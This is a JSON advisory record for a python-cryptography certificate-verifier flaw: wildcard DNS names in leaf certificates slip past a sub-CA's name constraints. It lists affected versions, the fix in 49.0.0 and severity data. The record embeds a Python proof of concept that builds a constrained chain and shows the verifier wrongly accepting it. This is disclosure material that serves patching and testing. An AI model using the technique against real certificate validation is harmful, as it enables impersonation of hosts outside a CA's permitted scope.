{"schema":"threatline.record/2","record":{"id":"CVE-2026-69248","aliases":["GHSA-m2h6-j472-rp4c","PYSEC-2026-3554"],"summary":"python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees","details":"### Summary\nIf an intermediate constrained CA permits the DNS name `foo.example.com`, and the leaf certificate has a wildcard in its DNS SAN of `*.example.com`, python-cryptography's verifier accepts which allows escaping outside of the permitted names.\n\n### PoC\n\n```\n#!/usr/bin/env python3\n\"\"\"Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint: dNSName = foo.example.com\n  Leaf SAN:                    dNSName = *.example.com\nExpected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).\nObserved: pyca accepts; further, asks server-verifier whether the leaf is\nauthoritative for `bar.example.com` and pyca answers yes — a sub-CA scope\nescape.\n\"\"\"\nimport datetime\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n         .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n         .serial_number(x509.random_serial_number())\n         .not_valid_before(now - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e, c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n# Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot = build(rn, rn, rk, rk, True)\n\n# Sub-CA constrained to foo.example.com\nsk = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n    excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc, True)])\n\n# Leaf with SAN *.example.com (over-broad relative to the constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf = build(ln, sn, lk, sk, False, [(san, False)])\n\n# Policies\nca_pol = ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints, Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n    PolicyBuilder()\n    .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n    v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com\")\nexcept VerificationError as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n### Impact\n\nAcceptance of invalid certificate chain.","categories":["Libraries & packages"],"product":"cryptography","vendor":"pyca","ecosystem":"pip","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-m2h6-j472-rp4c","source_modified_at":"2026-09-24T14:54:18Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"cryptography"},"range":">= 45.0.0, < 49.0.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-69248","source_modified_at":"2026-09-02T13:26:35.057Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"cryptography","vendor":"pyca","versions":[{"version":"< 49.0.0","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-m2h6-j472-rp4c","source_modified_at":"2026-09-24T15:00:04.719975807Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"PyPI","name":"cryptography","purl":"pkg:pypi/cryptography"},"ranges":[{"events":[{"introduced":"45.0.0"},{"fixed":"49.0.0"}],"type":"ECOSYSTEM"}],"versions":["45.0.0","45.0.1","45.0.2","45.0.3","45.0.4","45.0.5","45.0.6","45.0.7","46.0.0","46.0.1","46.0.2","46.0.3","46.0.4","46.0.5","46.0.6","46.0.7","47.0.0","48.0.0","48.0.1"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-m2h6-j472-rp4c","source_modified_at":"2026-09-24T14:54:18Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"cryptography"},"version":"49.0.0"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-m2h6-j472-rp4c","source_modified_at":"2026-09-24T15:00:04.719975807Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"PyPI","name":"cryptography","purl":"pkg:pypi/cryptography"},"version":"49.0.0"}],"cvss":6.9,"severity":"Medium","kev":{"listed":false},"epss":{"probability":0.00244,"percentile":0.14697,"score_date":"2026-10-23"},"published_at":"2026-08-03T21:21:43.710Z","modified_at":"2026-09-24T15:00:04.719975807Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-m2h6-j472-rp4c","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-09-24T14:54:18Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-69248","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-09-02T13:26:35.057Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-m2h6-j472-rp4c","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-09-24T15:00:04.719975807Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69248","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c","tags":["exploit"]},{"source":"CVE List","url":"https://github.com/pyca/cryptography/pull/14888","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2","tags":["x_refsource_MISC"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69248","source":"GitHub Advisory Database"},{"url":"https://github.com/pyca/cryptography/commit/286c89128","source":"GitHub Advisory Database"},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3554.yaml","source":"GitHub Advisory Database"},{"url":"https://github.com/advisories/GHSA-m2h6-j472-rp4c","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"partial","assessed_at":"2026-08-04T13:34:32.304052Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-09-24T15:00:04.719975807Z","content_hash":"46090711d944908fd8be5e069050d1c92476864bad982cf4218396033eb1d7bb"}}
